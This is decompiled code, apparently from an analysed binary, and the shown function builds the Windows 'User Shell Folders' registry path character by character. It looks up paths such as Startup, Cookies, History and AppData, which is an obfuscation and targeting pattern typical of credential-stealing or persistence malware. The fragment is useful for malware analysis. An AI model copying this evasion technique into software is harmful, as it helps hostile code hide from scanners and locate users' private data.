                                                                                                                                                                                                                                                                                                      				short _v166;
                                                                                                                                                                                                                                                                                                      				short _v168;
                                                                                                                                                                                                                                                                                                      				short _v170;
                                                                                                                                                                                                                                                                                                      				short _v172;
                                                                                                                                                                                                                                                                                                      				short _v174;
                                                                                                                                                                                                                                                                                                      				short _v176;
                                                                                                                                                                                                                                                                                                      				short _v178;
                                                                                                                                                                                                                                                                                                      				short _v180;
                                                                                                                                                                                                                                                                                                      				short _v182;
                                                                                                                                                                                                                                                                                                      				short _v184;
                                                                                                                                                                                                                                                                                                      				short _v186;
                                                                                                                                                                                                                                                                                                      				short _v188;
                                                                                                                                                                                                                                                                                                      				short _v190;
                                                                                                                                                                                                                                                                                                      				short _v192;
                                                                                                                                                                                                                                                                                                      				short _v196;
                                                                                                                                                                                                                                                                                                      				short _v198;
                                                                                                                                                                                                                                                                                                      				short _v200;
                                                                                                                                                                                                                                                                                                      				short _v202;
                                                                                                                                                                                                                                                                                                      				short _v204;
                                                                                                                                                                                                                                                                                                      				short _v206;
                                                                                                                                                                                                                                                                                                      				short _v208;
                                                                                                                                                                                                                                                                                                      				short _v210;
                                                                                                                                                                                                                                                                                                      				short _v212;
                                                                                                                                                                                                                                                                                                      				short _v214;
                                                                                                                                                                                                                                                                                                      				short _v216;
                                                                                                                                                                                                                                                                                                      				short _v218;
                                                                                                                                                                                                                                                                                                      				short _v220;
                                                                                                                                                                                                                                                                                                      				short _v222;
                                                                                                                                                                                                                                                                                                      				short _v224;
                                                                                                                                                                                                                                                                                                      				short _v228;
                                                                                                                                                                                                                                                                                                      				short _v230;
                                                                                                                                                                                                                                                                                                      				short _v232;
                                                                                                                                                                                                                                                                                                      				short _v234;
                                                                                                                                                                                                                                                                                                      				short _v236;
                                                                                                                                                                                                                                                                                                      				short _v238;
                                                                                                                                                                                                                                                                                                      				short _v240;
                                                                                                                                                                                                                                                                                                      				short _v242;
                                                                                                                                                                                                                                                                                                      				short _v244;
                                                                                                                                                                                                                                                                                                      				short _v246;
                                                                                                                                                                                                                                                                                                      				short _v248;
                                                                                                                                                                                                                                                                                                      				short _v250;
                                                                                                                                                                                                                                                                                                      				short _v252;
                                                                                                                                                                                                                                                                                                      				short _v254;
                                                                                                                                                                                                                                                                                                      				short _v256;
                                                                                                                                                                                                                                                                                                      				short _v260;
                                                                                                                                                                                                                                                                                                      				short _v262;
                                                                                                                                                                                                                                                                                                      				short _v264;
                                                                                                                                                                                                                                                                                                      				short _v266;
                                                                                                                                                                                                                                                                                                      				short _v268;
                                                                                                                                                                                                                                                                                                      				short _v270;
                                                                                                                                                                                                                                                                                                      				short _v272;
                                                                                                                                                                                                                                                                                                      				short _v274;
                                                                                                                                                                                                                                                                                                      				short _v276;
                                                                                                                                                                                                                                                                                                      				short _v278;
                                                                                                                                                                                                                                                                                                      				short _v280;
                                                                                                                                                                                                                                                                                                      				short _v282;
                                                                                                                                                                                                                                                                                                      				short _v284;
                                                                                                                                                                                                                                                                                                      				short _v286;
                                                                                                                                                                                                                                                                                                      				short _v288;
                                                                                                                                                                                                                                                                                                      				short _v290;
                                                                                                                                                                                                                                                                                                      				short _v292;
                                                                                                                                                                                                                                                                                                      				short _v294;
                                                                                                                                                                                                                                                                                                      				short _v296;
                                                                                                                                                                                                                                                                                                      				short _v298;
                                                                                                                                                                                                                                                                                                      				short _v300;
                                                                                                                                                                                                                                                                                                      				short _v302;
                                                                                                                                                                                                                                                                                                      				short _v304;
                                                                                                                                                                                                                                                                                                      				short _v306;
                                                                                                                                                                                                                                                                                                      				short _v308;
                                                                                                                                                                                                                                                                                                      				short _v310;
                                                                                                                                                                                                                                                                                                      				short _v312;
                                                                                                                                                                                                                                                                                                      				short _v314;
                                                                                                                                                                                                                                                                                                      				short _v316;
                                                                                                                                                                                                                                                                                                      				short _v318;
                                                                                                                                                                                                                                                                                                      				short _v320;
                                                                                                                                                                                                                                                                                                      				short _v324;
                                                                                                                                                                                                                                                                                                      				short _v326;
                                                                                                                                                                                                                                                                                                      				short _v328;
                                                                                                                                                                                                                                                                                                      				short _v330;
                                                                                                                                                                                                                                                                                                      				short _v332;
                                                                                                                                                                                                                                                                                                      				short _v334;
                                                                                                                                                                                                                                                                                                      				short _v336;
                                                                                                                                                                                                                                                                                                      				short _v338;
                                                                                                                                                                                                                                                                                                      				short _v340;
                                                                                                                                                                                                                                                                                                      				short _v342;
                                                                                                                                                                                                                                                                                                      				short _v344;
                                                                                                                                                                                                                                                                                                      				short _v346;
                                                                                                                                                                                                                                                                                                      				short _v348;
                                                                                                                                                                                                                                                                                                      				short _v350;
                                                                                                                                                                                                                                                                                                      				short _v352;
                                                                                                                                                                                                                                                                                                      				short _v354;
                                                                                                                                                                                                                                                                                                      				short _v356;
                                                                                                                                                                                                                                                                                                      				short _v358;
                                                                                                                                                                                                                                                                                                      				short _v360;
                                                                                                                                                                                                                                                                                                      				short _v362;
                                                                                                                                                                                                                                                                                                      				short _v364;
                                                                                                                                                                                                                                                                                                      				short _v366;
                                                                                                                                                                                                                                                                                                      				short _v368;
                                                                                                                                                                                                                                                                                                      				short _v370;
                                                                                                                                                                                                                                                                                                      				short _v372;
                                                                                                                                                                                                                                                                                                      				short _v374;
                                                                                                                                                                                                                                                                                                      				short _v376;
                                                                                                                                                                                                                                                                                                      				short _v378;
                                                                                                                                                                                                                                                                                                      				short _v380;
                                                                                                                                                                                                                                                                                                      				short _v382;
                                                                                                                                                                                                                                                                                                      				short _v384;
                                                                                                                                                                                                                                                                                                      				short _v386;
                                                                                                                                                                                                                                                                                                      				short _v388;
                                                                                                                                                                                                                                                                                                      				short _v390;
                                                                                                                                                                                                                                                                                                      				short _v392;
                                                                                                                                                                                                                                                                                                      				short _v394;
                                                                                                                                                                                                                                                                                                      				short _v396;
                                                                                                                                                                                                                                                                                                      				short _v398;
                                                                                                                                                                                                                                                                                                      				short _v400;
                                                                                                                                                                                                                                                                                                      				short _v402;
                                                                                                                                                                                                                                                                                                      				short _v404;
                                                                                                                                                                                                                                                                                                      				short _v406;
                                                                                                                                                                                                                                                                                                      				short _v408;
                                                                                                                                                                                                                                                                                                      				short _v410;
                                                                                                                                                                                                                                                                                                      				short _v412;
                                                                                                                                                                                                                                                                                                      				short _v414;
                                                                                                                                                                                                                                                                                                      				short _v416;
                                                                                                                                                                                                                                                                                                      				short _v418;
                                                                                                                                                                                                                                                                                                      				short _v420;
                                                                                                                                                                                                                                                                                                      				short _v422;
                                                                                                                                                                                                                                                                                                      				short _v424;
                                                                                                                                                                                                                                                                                                      				short _v426;
                                                                                                                                                                                                                                                                                                      				short _v428;
                                                                                                                                                                                                                                                                                                      				short _v430;
                                                                                                                                                                                                                                                                                                      				short _v432;
                                                                                                                                                                                                                                                                                                      				short _v434;
                                                                                                                                                                                                                                                                                                      				short _v436;
                                                                                                                                                                                                                                                                                                      				short _v438;
                                                                                                                                                                                                                                                                                                      				short _v440;
                                                                                                                                                                                                                                                                                                      				short _v442;
                                                                                                                                                                                                                                                                                                      				short _v444;
                                                                                                                                                                                                                                                                                                      				short _v446;
                                                                                                                                                                                                                                                                                                      				short _v448;
                                                                                                                                                                                                                                                                                                      				short _v450;
                                                                                                                                                                                                                                                                                                      				short _v452;
                                                                                                                                                                                                                                                                                                      				short _v454;
                                                                                                                                                                                                                                                                                                      				short _v456;
                                                                                                                                                                                                                                                                                                      				short _v458;
                                                                                                                                                                                                                                                                                                      				short _v460;
                                                                                                                                                                                                                                                                                                      				short _v462;
                                                                                                                                                                                                                                                                                                      				short _v464;
                                                                                                                                                                                                                                                                                                      				short _v466;
                                                                                                                                                                                                                                                                                                      				short _v468;
                                                                                                                                                                                                                                                                                                      				short _v470;
                                                                                                                                                                                                                                                                                                      				short _v472;
                                                                                                                                                                                                                                                                                                      				short _v474;
                                                                                                                                                                                                                                                                                                      				short _v476;
                                                                                                                                                                                                                                                                                                      				short _v478;
                                                                                                                                                                                                                                                                                                      				short _v480;
                                                                                                                                                                                                                                                                                                      				short _v482;
                                                                                                                                                                                                                                                                                                      				short _v484;
                                                                                                                                                                                                                                                                                                      				short _v486;
                                                                                                                                                                                                                                                                                                      				short _v488;
                                                                                                                                                                                                                                                                                                      				short _v490;
                                                                                                                                                                                                                                                                                                      				short _v492;
                                                                                                                                                                                                                                                                                                      				short _v494;
                                                                                                                                                                                                                                                                                                      				char _v496;
                                                                                                                                                                                                                                                                                                      				void* _t610;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_v496 = 0x53;
                                                                                                                                                                                                                                                                                                      				_v494 = 0x4f;
                                                                                                                                                                                                                                                                                                      				_v492 = 0x46;
                                                                                                                                                                                                                                                                                                      				_v490 = 0x54;
                                                                                                                                                                                                                                                                                                      				_v488 = 0x57;
                                                                                                                                                                                                                                                                                                      				_v486 = 0x41;
                                                                                                                                                                                                                                                                                                      				_v484 = 0x52;
                                                                                                                                                                                                                                                                                                      				_v482 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v480 = 0x5c;
                                                                                                                                                                                                                                                                                                      				_v478 = 0x4d;
                                                                                                                                                                                                                                                                                                      				_v476 = 0x69;
                                                                                                                                                                                                                                                                                                      				_v474 = 0x63;
                                                                                                                                                                                                                                                                                                      				_v472 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v470 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v468 = 0x73;
                                                                                                                                                                                                                                                                                                      				_v466 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v464 = 0x66;
                                                                                                                                                                                                                                                                                                      				_v462 = 0x74;
                                                                                                                                                                                                                                                                                                      				_v460 = 0x5c;
                                                                                                                                                                                                                                                                                                      				_v458 = 0x57;
                                                                                                                                                                                                                                                                                                      				_v456 = 0x69;
                                                                                                                                                                                                                                                                                                      				_v454 = 0x6e;
                                                                                                                                                                                                                                                                                                      				_v452 = 0x64;
                                                                                                                                                                                                                                                                                                      				_v450 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v448 = 0x77;
                                                                                                                                                                                                                                                                                                      				_v446 = 0x73;
                                                                                                                                                                                                                                                                                                      				_v444 = 0x5c;
                                                                                                                                                                                                                                                                                                      				_v442 = 0x43;
                                                                                                                                                                                                                                                                                                      				_v440 = 0x75;
                                                                                                                                                                                                                                                                                                      				_v438 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v436 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v434 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v432 = 0x6e;
                                                                                                                                                                                                                                                                                                      				_v430 = 0x74;
                                                                                                                                                                                                                                                                                                      				_v428 = 0x56;
                                                                                                                                                                                                                                                                                                      				_v426 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v424 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v422 = 0x73;
                                                                                                                                                                                                                                                                                                      				_v420 = 0x69;
                                                                                                                                                                                                                                                                                                      				_v418 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v416 = 0x6e;
                                                                                                                                                                                                                                                                                                      				_v414 = 0x5c;
                                                                                                                                                                                                                                                                                                      				_v412 = 0x45;
                                                                                                                                                                                                                                                                                                      				_v410 = 0x78;
                                                                                                                                                                                                                                                                                                      				_v408 = 0x70;
                                                                                                                                                                                                                                                                                                      				_v406 = 0x6c;
                                                                                                                                                                                                                                                                                                      				_v404 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v402 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v400 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v398 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v396 = 0x5c;
                                                                                                                                                                                                                                                                                                      				_v394 = 0x55;
                                                                                                                                                                                                                                                                                                      				_v392 = 0x73;
                                                                                                                                                                                                                                                                                                      				_v390 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v388 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v386 = 0x20;
                                                                                                                                                                                                                                                                                                      				_v384 = 0x53;
                                                                                                                                                                                                                                                                                                      				_v382 = 0x68;
                                                                                                                                                                                                                                                                                                      				_v380 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v378 = 0x6c;
                                                                                                                                                                                                                                                                                                      				_v376 = 0x6c;
                                                                                                                                                                                                                                                                                                      				_v374 = 0x20;
                                                                                                                                                                                                                                                                                                      				_v372 = 0x46;
                                                                                                                                                                                                                                                                                                      				_v370 = 0x6f;
                                                                                                                                                                                                                                                                                                      				_v368 = 0x6c;
                                                                                                                                                                                                                                                                                                      				_v366 = 0x64;
                                                                                                                                                                                                                                                                                                      				_v364 = 0x65;
                                                                                                                                                                                                                                                                                                      				_v362 = 0x72;
                                                                                                                                                                                                                                                                                                      				_v360 = 0x73;
                                                                                                                                                                                                                                                                                                      				_v358 = 0;
                                                                                                                                                                                                                                                                                                      				_v8 = 0;
                                                                                                                                                                                                                                                                                                      				if(_a4 != 2) {
                                                                                                                                                                                                                                                                                                      					if(_a4 == 1) {
                                                                                                                                                                                                                                                                                                      						if(_a8 != 1) {
                                                                                                                                                                                                                                                                                                      							if(_a8 != 2) {
                                                                                                                                                                                                                                                                                                      								if(_a8 != 3) {
                                                                                                                                                                                                                                                                                                      									if(_a8 != 4) {
                                                                                                                                                                                                                                                                                                      										if(_a8 == 5) {
                                                                                                                                                                                                                                                                                                      											_v288 = 0x63;
                                                                                                                                                                                                                                                                                                      											_v286 = 0x6f;
                                                                                                                                                                                                                                                                                                      											_v284 = 0x6d;
                                                                                                                                                                                                                                                                                                      											_v282 = 0x6d;
                                                                                                                                                                                                                                                                                                      											_v280 = 0x6f;
                                                                                                                                                                                                                                                                                                      											_v278 = 0x6e;
                                                                                                                                                                                                                                                                                                      											_v276 = 0x20;
                                                                                                                                                                                                                                                                                                      											_v274 = 0x73;
                                                                                                                                                                                                                                                                                                      											_v272 = 0x74;
                                                                                                                                                                                                                                                                                                      											_v270 = 0x61;
                                                                                                                                                                                                                                                                                                      											_v268 = 0x72;
                                                                                                                                                                                                                                                                                                      											_v266 = 0x74;
                                                                                                                                                                                                                                                                                                      											_v264 = 0x75;
                                                                                                                                                                                                                                                                                                      											_v262 = 0x70;
                                                                                                                                                                                                                                                                                                      											_v260 = 0;
                                                                                                                                                                                                                                                                                                      											_v8 = _t610 + 0xfffffffffffffee4;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      									} else {
                                                                                                                                                                                                                                                                                                      										_v320 = 0x63;
                                                                                                                                                                                                                                                                                                      										_v318 = 0x6f;
                                                                                                                                                                                                                                                                                                      										_v316 = 0x6d;
                                                                                                                                                                                                                                                                                                      										_v314 = 0x6d;
                                                                                                                                                                                                                                                                                                      										_v312 = 0x6f;
                                                                                                                                                                                                                                                                                                      										_v310 = 0x6e;
                                                                                                                                                                                                                                                                                                      										_v308 = 0x20;
                                                                                                                                                                                                                                                                                                      										_v306 = 0x70;
                                                                                                                                                                                                                                                                                                      										_v304 = 0x72;
                                                                                                                                                                                                                                                                                                      										_v302 = 0x6f;
                                                                                                                                                                                                                                                                                                      										_v300 = 0x67;
                                                                                                                                                                                                                                                                                                      										_v298 = 0x72;
                                                                                                                                                                                                                                                                                                      										_v296 = 0x61;
                                                                                                                                                                                                                                                                                                      										_v294 = 0x6d;
                                                                                                                                                                                                                                                                                                      										_v292 = 0x73;
                                                                                                                                                                                                                                                                                                      										_v290 = 0;
                                                                                                                                                                                                                                                                                                      										_v8 = _t610 + 0xfffffffffffffec4;
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								} else {
                                                                                                                                                                                                                                                                                                      									_v356 = 0x63;
                                                                                                                                                                                                                                                                                                      									_v354 = 0x6f;
                                                                                                                                                                                                                                                                                                      									_v352 = 0x6d;
                                                                                                                                                                                                                                                                                                      									_v350 = 0x6d;
                                                                                                                                                                                                                                                                                                      									_v348 = 0x6f;
                                                                                                                                                                                                                                                                                                      									_v346 = 0x6e;
                                                                                                                                                                                                                                                                                                      									_v344 = 0x20;
                                                                                                                                                                                                                                                                                                      									_v342 = 0x64;
                                                                                                                                                                                                                                                                                                      									_v340 = 0x6f;
                                                                                                                                                                                                                                                                                                      									_v338 = 0x63;
                                                                                                                                                                                                                                                                                                      									_v336 = 0x75;
                                                                                                                                                                                                                                                                                                      									_v334 = 0x6d;
                                                                                                                                                                                                                                                                                                      									_v332 = 0x65;
                                                                                                                                                                                                                                                                                                      									_v330 = 0x6e;
                                                                                                                                                                                                                                                                                                      									_v328 = 0x74;
                                                                                                                                                                                                                                                                                                      									_v326 = 0x73;
                                                                                                                                                                                                                                                                                                      									_v324 = 0;
                                                                                                                                                                                                                                                                                                      									_v8 = _t610 + 0xfffffffffffffea0;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								_v224 = 0x63;
                                                                                                                                                                                                                                                                                                      								_v222 = 0x6f;
                                                                                                                                                                                                                                                                                                      								_v220 = 0x6d;
                                                                                                                                                                                                                                                                                                      								_v218 = 0x6d;
                                                                                                                                                                                                                                                                                                      								_v216 = 0x6f;
                                                                                                                                                                                                                                                                                                      								_v214 = 0x6e;
                                                                                                                                                                                                                                                                                                      								_v212 = 0x20;
                                                                                                                                                                                                                                                                                                      								_v210 = 0x64;
                                                                                                                                                                                                                                                                                                      								_v208 = 0x65;
                                                                                                                                                                                                                                                                                                      								_v206 = 0x73;
                                                                                                                                                                                                                                                                                                      								_v204 = 0x6b;
                                                                                                                                                                                                                                                                                                      								_v202 = 0x74;
                                                                                                                                                                                                                                                                                                      								_v200 = 0x6f;
                                                                                                                                                                                                                                                                                                      								_v198 = 0x70;
                                                                                                                                                                                                                                                                                                      								_v196 = 0;
                                                                                                                                                                                                                                                                                                      								_v8 = _t610 + 0xffffffffffffff24;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							_v256 = 0x63;
                                                                                                                                                                                                                                                                                                      							_v254 = 0x6f;
                                                                                                                                                                                                                                                                                                      							_v252 = 0x6d;
                                                                                                                                                                                                                                                                                                      							_v250 = 0x6d;
                                                                                                                                                                                                                                                                                                      							_v248 = 0x6f;
                                                                                                                                                                                                                                                                                                      							_v246 = 0x6e;
                                                                                                                                                                                                                                                                                                      							_v244 = 0x20;
                                                                                                                                                                                                                                                                                                      							_v242 = 0x61;
                                                                                                                                                                                                                                                                                                      							_v240 = 0x70;
                                                                                                                                                                                                                                                                                                      							_v238 = 0x70;
                                                                                                                                                                                                                                                                                                      							_v236 = 0x64;
                                                                                                                                                                                                                                                                                                      							_v234 = 0x61;
                                                                                                                                                                                                                                                                                                      							_v232 = 0x74;
                                                                                                                                                                                                                                                                                                      							_v230 = 0x61;
                                                                                                                                                                                                                                                                                                      							_v228 = 0;
                                                                                                                                                                                                                                                                                                      							_v8 = _t610 + 0xffffffffffffff04;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					goto L37;
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					if(_a8 != 1) {
                                                                                                                                                                                                                                                                                                      						if(_a8 != 2) {
                                                                                                                                                                                                                                                                                                      							if(_a8 != 3) {
                                                                                                                                                                                                                                                                                                      								if(_a8 != 4) {
                                                                                                                                                                                                                                                                                                      									if(_a8 != 5) {
                                                                                                                                                                                                                                                                                                      										if(_a8 != 6) {
                                                                                                                                                                                                                                                                                                      											if(_a8 != 7) {
                                                                                                                                                                                                                                                                                                      												if(_a8 != 8) {
                                                                                                                                                                                                                                                                                                      													if(_a8 != 9) {
                                                                                                                                                                                                                                                                                                      														if(_a8 == 0x10) {
                                                                                                                                                                                                                                                                                                      															_v24 = 0x63;
                                                                                                                                                                                                                                                                                                      															_v22 = 0x61;
                                                                                                                                                                                                                                                                                                      															_v20 = 0x63;
                                                                                                                                                                                                                                                                                                      															_v18 = 0x68;
                                                                                                                                                                                                                                                                                                      															_v16 = 0x65;
                                                                                                                                                                                                                                                                                                      															_v14 = 0;
                                                                                                                                                                                                                                                                                                      															_v8 = _t610 + 0xffffffffffffffec;
                                                                                                                                                                                                                                                                                                      														}
                                                                                                                                                                                                                                                                                                      													} else {
                                                                                                                                                                                                                                                                                                      														_v144 = 0x70;
                                                                                                                                                                                                                                                                                                      														_v142 = 0x65;
                                                                                                                                                                                                                                                                                                      														_v140 = 0x72;
                                                                                                                                                                                                                                                                                                      														_v138 = 0x73;
                                                                                                                                                                                                                                                                                                      														_v136 = 0x6f;
                                                                                                                                                                                                                                                                                                      														_v134 = 0x6e;
                                                                                                                                                                                                                                                                                                      														_v132 = 0x61;
                                                                                                                                                                                                                                                                                                      														_v130 = 0x6c;
                                                                                                                                                                                                                                                                                                      														_v128 = 0;
                                                                                                                                                                                                                                                                                                      														_v8 = _t610 + 0xffffffffffffff74;
                                                                                                                                                                                                                                                                                                      													}
                                                                                                                                                                                                                                                                                                      												} else {
                                                                                                                                                                                                                                                                                                      													_v192 = 0x6c;
                                                                                                                                                                                                                                                                                                      													_v190 = 0x6f;
                                                                                                                                                                                                                                                                                                      													_v188 = 0x63;
                                                                                                                                                                                                                                                                                                      													_v186 = 0x61;
                                                                                                                                                                                                                                                                                                      													_v184 = 0x6c;
                                                                                                                                                                                                                                                                                                      													_v182 = 0x20;
                                                                                                                                                                                                                                                                                                      													_v180 = 0x61;
                                                                                                                                                                                                                                                                                                      													_v178 = 0x70;
                                                                                                                                                                                                                                                                                                      													_v176 = 0x70;
                                                                                                                                                                                                                                                                                                      													_v174 = 0x64;
                                                                                                                                                                                                                                                                                                      													_v172 = 0x61;
                                                                                                                                                                                                                                                                                                      													_v170 = 0x74;
                                                                                                                                                                                                                                                                                                      													_v168 = 0x61;
                                                                                                                                                                                                                                                                                                      													_v166 = 0;
                                                                                                                                                                                                                                                                                                      													_v8 = _t610 + 0xffffffffffffff44;
                                                                                                                                                                                                                                                                                                      												}
                                                                                                                                                                                                                                                                                                      											} else {
                                                                                                                                                                                                                                                                                                      												_v104 = 0x68;
                                                                                                                                                                                                                                                                                                      												_v102 = 0x69;
                                                                                                                                                                                                                                                                                                      												_v100 = 0x73;
                                                                                                                                                                                                                                                                                                      												_v98 = 0x74;
                                                                                                                                                                                                                                                                                                      												_v96 = 0x6f;
                                                                                                                                                                                                                                                                                                      												_v94 = 0x72;
                                                                                                                                                                                                                                                                                                      												_v92 = 0x79;
                                                                                                                                                                                                                                                                                                      												_v90 = 0;
                                                                                                                                                                                                                                                                                                      												_v8 = _t610 + 0xffffffffffffff9c;
                                                                                                                                                                                                                                                                                                      											}
                                                                                                                                                                                                                                                                                                      										} else {
                                                                                                                                                                                                                                                                                                      											_v72 = 0x63;
                                                                                                                                                                                                                                                                                                      											_v70 = 0x6f;
                                                                                                                                                                                                                                                                                                      											_v68 = 0x6f;
                                                                                                                                                                                                                                                                                                      											_v66 = 0x6b;
                                                                                                                                                                                                                                                                                                      											_v64 = 0x69;
                                                                                                                                                                                                                                                                                                      											_v62 = 0x65;
                                                                                                                                                                                                                                                                                                      											_v60 = 0x73;
                                                                                                                                                                                                                                                                                                      											_v58 = 0;
                                                                                                                                                                                                                                                                                                      											_v8 = _t610 + 0xffffffffffffffbc;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      									} else {
                                                                                                                                                                                                                                                                                                      										_v56 = 0x73;
                                                                                                                                                                                                                                                                                                      										_v54 = 0x74;
                                                                                                                                                                                                                                                                                                      										_v52 = 0x61;
                                                                                                                                                                                                                                                                                                      										_v50 = 0x72;
                                                                                                                                                                                                                                                                                                      										_v48 = 0x74;
                                                                                                                                                                                                                                                                                                      										_v46 = 0x75;
                                                                                                                                                                                                                                                                                                      										_v44 = 0x70;
                                                                                                                                                                                                                                                                                                      										_v42 = 0;
                                                                                                                                                                                                                                                                                                      										_v8 = _t610 + 0xffffffffffffffcc;
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								} else {
                                                                                                                                                                                                                                                                                                      									_v124 = 0x70;
                                                                                                                                                                                                                                                                                                      									_v122 = 0x72;
                                                                                                                                                                                                                                                                                                      									_v120 = 0x6f;
                                                                                                                                                                                                                                                                                                      									_v118 = 0x67;
                                                                                                                                                                                                                                                                                                      									_v116 = 0x72;
                                                                                                                                                                                                                                                                                                      									_v114 = 0x61;
                                                                                                                                                                                                                                                                                                      									_v112 = 0x6d;
                                                                                                                                                                                                                                                                                                      									_v110 = 0x73;
                                                                                                                                                                                                                                                                                                      									_v108 = 0;
                                                                                                                                                                                                                                                                                                      									_v8 = _t610 + 0xffffffffffffff88;
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      							} else {
                                                                                                                                                                                                                                                                                                      								_v164 = 0x64;
                                                                                                                                                                                                                                                                                                      								_v162 = 0x6f;
                                                                                                                                                                                                                                                                                                      								_v160 = 0x63;
                                                                                                                                                                                                                                                                                                      								_v158 = 0x75;
                                                                                                                                                                                                                                                                                                      								_v156 = 0x6d;
                                                                                                                                                                                                                                                                                                      								_v154 = 0x65;
                                                                                                                                                                                                                                                                                                      								_v152 = 0x6e;
                                                                                                                                                                                                                                                                                                      								_v150 = 0x74;
                                                                                                                                                                                                                                                                                                      								_v148 = 0x73;
                                                                                                                                                                                                                                                                                                      								_v146 = 0;
                                                                                                                                                                                                                                                                                                      								_v8 = _t610 + 0xffffffffffffff60;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						} else {
                                                                                                                                                                                                                                                                                                      							_v88 = 0x64;
                                                                                                                                                                                                                                                                                                      							_v86 = 0x65;
                                                                                                                                                                                                                                                                                                      							_v84 = 0x73;
                                                                                                                                                                                                                                                                                                      							_v82 = 0x6b;
                                                                                                                                                                                                                                                                                                      							_v80 = 0x74;
                                                                                                                                                                                                                                                                                                      							_v78 = 0x6f;
                                                                                                                                                                                                                                                                                                      							_v76 = 0x70;
                                                                                                                                                                                                                                                                                                      							_v74 = 0;
                                                                                                                                                                                                                                                                                                      							_v8 = _t610 + 0xffffffffffffffac;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_v40 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v38 = 0x70;
                                                                                                                                                                                                                                                                                                      						_v36 = 0x70;
                                                                                                                                                                                                                                                                                                      						_v34 = 0x64;
                                                                                                                                                                                                                                                                                                      						_v32 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v30 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v28 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v26 = 0;
                                                                                                                                                                                                                                                                                                      						_v8 = _t610 + 0xffffffffffffffdc;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					L37:
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_t306 =  &_a16; // 0x40302b
                                                                                                                                                                                                                                                                                                      						_v12 = E0040B520(_a4,  &_v496, 0, _v8, _a12,  *_t306);
                                                                                                                                                                                                                                                                                                      						if(_v12 != 0 && _a16 != 0) {
                                                                                                                                                                                                                                                                                                      							 *_a16 = E0040BB40(_a12,  *_a12);
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					return _v12;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      			}


















































































































































































































































                                                                                                                                                                                                                                                                                                      0x0040ded9
                                                                                                                                                                                                                                                                                                      0x0040dee4
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040def2
                                                                                                                                                                                                                                                                                                      0x0040deff
                                                                                                                                                                                                                                                                                                      0x0040df0b
                                                                                                                                                                                                                                                                                                      0x0040df17
                                                                                                                                                                                                                                                                                                      0x0040df23
                                                                                                                                                                                                                                                                                                      0x0040df2f
                                                                                                                                                                                                                                                                                                      0x0040df3b
                                                                                                                                                                                                                                                                                                      0x0040df47
                                                                                                                                                                                                                                                                                                      0x0040df53
                                                                                                                                                                                                                                                                                                      0x0040df5f
                                                                                                                                                                                                                                                                                                      0x0040df6b
                                                                                                                                                                                                                                                                                                      0x0040df77
                                                                                                                                                                                                                                                                                                      0x0040df83
                                                                                                                                                                                                                                                                                                      0x0040df8f
                                                                                                                                                                                                                                                                                                      0x0040df9b
                                                                                                                                                                                                                                                                                                      0x0040dfa7
                                                                                                                                                                                                                                                                                                      0x0040dfb3
                                                                                                                                                                                                                                                                                                      0x0040dfbf
                                                                                                                                                                                                                                                                                                      0x0040dfcb
                                                                                                                                                                                                                                                                                                      0x0040dfd7
                                                                                                                                                                                                                                                                                                      0x0040dfe3
                                                                                                                                                                                                                                                                                                      0x0040dfef
                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                      0x0040e007
                                                                                                                                                                                                                                                                                                      0x0040e013
                                                                                                                                                                                                                                                                                                      0x0040e01f
                                                                                                                                                                                                                                                                                                      0x0040e02b
                                                                                                                                                                                                                                                                                                      0x0040e037
                                                                                                                                                                                                                                                                                                      0x0040e043
                                                                                                                                                                                                                                                                                                      0x0040e04f
                                                                                                                                                                                                                                                                                                      0x0040e05b
                                                                                                                                                                                                                                                                                                      0x0040e067
